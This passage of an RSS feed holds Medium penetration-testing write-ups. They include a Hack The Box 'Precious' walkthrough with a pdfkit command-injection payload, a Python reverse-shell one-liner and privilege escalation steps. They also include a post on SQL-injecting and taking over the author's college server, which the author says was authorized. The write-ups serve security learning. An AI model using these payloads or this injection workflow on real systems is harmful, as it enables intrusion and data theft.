9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/0*3OEEJLYS1SPrswex.png" /></figure><p>Then copy the plugin to the /usr/local/share/dstat/ directory</p><pre>cp dstat_lemon.py /usr/local/share/dstat/</pre><p>then run the command</p><pre>doas -u root /usr/bin/dstat — lemon</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*tMho_dzD1irJdAHN.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6nZFDEbM2zBrSM4d.png" /></figure><p>as we can see that we got a shell back</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/0*cn1GfEI1segluVHf.png" /></figure><p>and we successfully rooted the machine.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F26197358&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fsoccer-soccer-ball-gif-26197358&amp;image=https%3A%2F%2Fmedia.tenor.com%2FX6IlmJYoMcsAAAAC%2Fsoccer-soccer-ball.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca91d357377af78809c5e7554a46665a/href">https://medium.com/media/ca91d357377af78809c5e7554a46665a/href</a></iframe><p><strong>That’s it! Hope you like this write-up!</strong></p><p><strong>Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b53de2ce93e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the box — Precious]]></title>
            <link>https://systemweakness.com/hack-the-box-precious-5483c5c624f2?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/5483c5c624f2</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Fri, 12 May 2023 12:19:55 GMT</pubDate>
            <atom:updated>2023-05-25T13:48:04.338Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack the box — Precious</h3><p><a href="https://app.hackthebox.com/machines/513">Hack The Box</a></p><p>In this blog, we will solve a box on hackthebox called <strong>precious</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*PXoeT5eTT_1qMdEM.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F13930068&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fmy-precious-gollum-lord-of-the-rings-gif-13930068&amp;image=https%3A%2F%2Fmedia.tenor.com%2F32iIds_y-QYAAAAC%2Fmy-precious-gollum.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/3fd442bc266bd868266de0ebb455c2b6/href">https://medium.com/media/3fd442bc266bd868266de0ebb455c2b6/href</a></iframe><p>We start with a Nmap scan.</p><pre>nmap -sC -sV -Ao 10.10.11.189</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1ONrpY82ta1_2vH4.png" /></figure><p>So we got two ports open one is for ssh and one webserver, but to access the website we need to add an entry in our /etc/hosts</p><pre>echo 10.10.11.189 precious.htb &gt;&gt; /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZJuEIFud7CunLnsQ.png" /></figure><p>We got a webpage to pdf converter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NfZYgbiPsaRd3gAx.png" /></figure><p>As we can see in the response that the file contains some metadata that shows that it is created with<strong> pdfkit v0.8.6</strong></p><p>Googling about this found that its version of pdfkit is vulnerable to command injection.</p><p><a href="https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795">Snyk Vulnerability Database | Snyk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TwQqAk4bY94AjyBb.png" /></figure><p>Now its time to craft our payload</p><pre>“http%20`&lt;command here&gt;`&quot;</pre><p>To verify this I ping my system that the command is executing or not</p><p>NOTE: You have to include HTTP:// at the start of the payload</p><pre>http://%20`ping 10.10.14.102 `</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*e1qDDlxdIXR1y2dg.png" /></figure><p>As we can see that it was executed on the server. So let’s get a shell on the system.</p><pre>http://%20`python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.102”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)’`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sk1P8fGHVNLM6wZd.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*0GuCctWClTx3sGRM.png" /></figure><p>There are 2 users on the box one is henry and one is ruby we got a shell as ruby so we don’t have permission to read user.txt</p><h3>PRIVILEGE ESCALATION TO HENRY</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/0*80DW6yVu4xNy97SH.png" /></figure><p>But if we look into the ruby home directory there is a folder caller .bundle</p><p>In that directory, we have a file config in which we have henry’s password. So now we can ssh into the machine as henry.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F5003152&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fsupernatural-love-precious-jared-padalecki-gif-5003152&amp;image=https%3A%2F%2Fmedia.tenor.com%2FX4T9uJf6ydQAAAAC%2Fsupernatural-love.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/47f242217bf4263f5252db440faa8125/href">https://medium.com/media/47f242217bf4263f5252db440faa8125/href</a></iframe><h3>PRIVILEGE ESCALATION TO ROOT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*6qA2soVcl-Kn9gwl.png" /></figure><pre>sudo -l</pre><p>We find other there is a file that we can run as a sudo user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NtzyrZMBax4aYzuu.png" /></figure><p>We can’t modify this file as we don’t have permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*v_5LKokFMpBllQkI.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ly2XUTK0q3JhXbZW.png" /></figure><p>while looking at the file we can see that it has some dependencies. So let’s see what are the dependent module version of the script.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F24443607&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fcrypto-gemology-salt-bae-crypto-gemology-ruby-ruby-ruby-bae-gif-24443607&amp;image=https%3A%2F%2Fmedia.tenor.com%2Fz9SogkYYfw4AAAAM%2Fcrypto-gemology-salt-bae.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/eb088cf1b327c57a52ae057f9c4a2598/href">https://medium.com/media/eb088cf1b327c57a52ae057f9c4a2598/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/0*mp_t_u4kf4nDrWoW.png" /></figure><p>After searching a bit about this got to know that ruby YAML has a deserialization issue which leads to arbitrary command execution</p><ul><li><a href="https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/">Blind Remote Code Execution through YAML Deserialization</a></li><li><a href="https://bishopfox.com/blog/ruby-vulnerabilities-exploits">Ruby Vulnerabilities: Exploiting Open, Send, and Deserialization...</a></li></ul><p>So let’s craft out the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*w1r0TBfj7gMGyhVE.png" /></figure><p>First, I tried to ping my system. And it worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*rZCeyNfsnoU5AflA.png" /></figure><p>So now we can just change the /bin/bash file permission to get root access</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F25757606&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fgigachad-bash-sh-gnu-shell-gif-25757606&amp;image=https%3A%2F%2Fmedia.tenor.com%2FSWNnc3qNcB8AAAAC%2Fgigachad-bash.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/b079ac3853038420c202e7de446c0f3c/href">https://medium.com/media/b079ac3853038420c202e7de446c0f3c/href</a></iframe><p>After running the exploit we get our permission on the /bin/bash file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*p5dQrt-f3PFHJYpK.png" /></figure><pre>/bin/bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*fuXtNZZDdWHaugrw.png" /></figure><p>Now we have root access to the system.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15543841&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fwe-got-hacked-they-gain-access-they-got-into-our-system-they-got-into-our-computer-they-got-our-information-gif-15543841&amp;image=https%3A%2F%2Fmedia.tenor.com%2F-Wr1B5dTix8AAAAC%2Fwe-got-hacked-they-gain-access.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/4863028b188ff674159b5565b7add69f/href">https://medium.com/media/4863028b188ff674159b5565b7add69f/href</a></iframe><p><strong>That’s it! Hope you learned something from this write-up! Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5483c5c624f2" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hack-the-box-precious-5483c5c624f2">Hack the box — Precious</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection + RCE | Hacking My College System]]></title>
            <link>https://systemweakness.com/my-experience-hacking-my-college-system-fb9f28794017?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb9f28794017</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Mon, 01 May 2023 04:50:28 GMT</pubDate>
            <atom:updated>2023-05-05T10:42:42.764Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Welcome to my blog, where I’ll be sharing my exhilarating experience of hacking into my college’s computer system and the valuable lessons I learned along the way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/1*BXxN5rCwxah5lQHDh8iOPg.png" /></figure><p><em>Disclaimer:</em></p><p><em>I must emphasize that the actions described in this article were done solely for educational and ethical purposes, and with the explicit permission of my college. Hacking without authorization is a serious offense and can lead to legal consequences.</em></p><h4>PARAMETER FINDING</h4><p>first, I found parameters on the website using paramspider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*UEvCBKxk0SFgmia4FXaEFA.png" /></figure><pre>./paramspider.py -d &lt;WEBSITE URL&gt; -l 3 -o output.txt</pre><p><a href="https://github.com/devanshbatham/ParamSpider">GitHub - devanshbatham/ParamSpider: Mining URLs from dark corners of Web Archives for bug hunting/fuzzing/further probing</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*o5UVZYkEWSH65YCQVtY1WQ.png" /></figure><h4>Preparing the payload</h4><p>So my college’s underlying Database system works on MYSQL. And I tried to automate this SQL injection on these parameters.</p><p>I used this wordlist.</p><p><a href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/SQLi/quick-SQLi.txt">SecLists/quick-SQLi.txt at master · danielmiessler/SecLists</a></p><p>as we are using a URL PARAMETER it needs to be URL encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*ps8fNVzUNz7B5tCHqKHvjg.png" /></figure><pre>cat quick-SQLi.txt | while read i; do ( urlencode -m ${i}  ) ; done &gt; test </pre><h4>FUZZING FOR INJECTION</h4><p>Now we Fuzz these parameters With the URL-encoded payload with the help of gobuster.</p><p><a href="https://github.com/OJ/gobuster">GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in Go</a></p><pre>for URL in $(&lt;output/output.txt); do ( gobuster -q fuzz -u &quot;${URL}&quot; -w sqltest.txt -ac ); done &gt;&gt; sql1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*yg3lPTUMvu21IIY9tdAcXQ.png" /></figure><pre>grep &#39;Status=200&#39; sql1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*LFJhN7JRxL1Xl_AZfMV3TA.png" /></figure><p>as we now have some less URLs I manually test each parameter.</p><p>found that /view/view_resume/?id= it is vulnerable to SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CB9s2hrILkBQGWcmIY8XQA.png" /></figure><p>So I fire up the sqlmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*LPv3icWcCZHgHEwfBE7tng.png" /></figure><pre>sqlmap -u http://&lt;url&gt;//view/view_resume/?id= --dbs</pre><p>it is time to dump the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*EeRVMkgDmEHC7l015PO6BQ.png" /></figure><p>after some enumeration in one of the tables, I found some admin password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*sp3rqEruVoJ1EOAvta_F4g.png" /></figure><p>crack these with hashcat</p><p><a href="https://github.com/hashcat/hashcat">https://github.com/hashcat/hashcat</a></p><p>Upon discovering that the admin credentials were accessible from the internal network, I went to my college, spun up a lab computer, accessed the admin page, and successfully achieved a full server takeover.</p><h4>I hope this blog has been insightful and engaging and has shed some light on the world of ethical hacking. If you enjoyed reading it, please leave a like or comment to let me know. Thank you for taking the time to read my story, and remember to always approach hacking with a responsible and ethical mindset.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb9f28794017" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/my-experience-hacking-my-college-system-fb9f28794017">SQL Injection + RCE | Hacking My College System</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>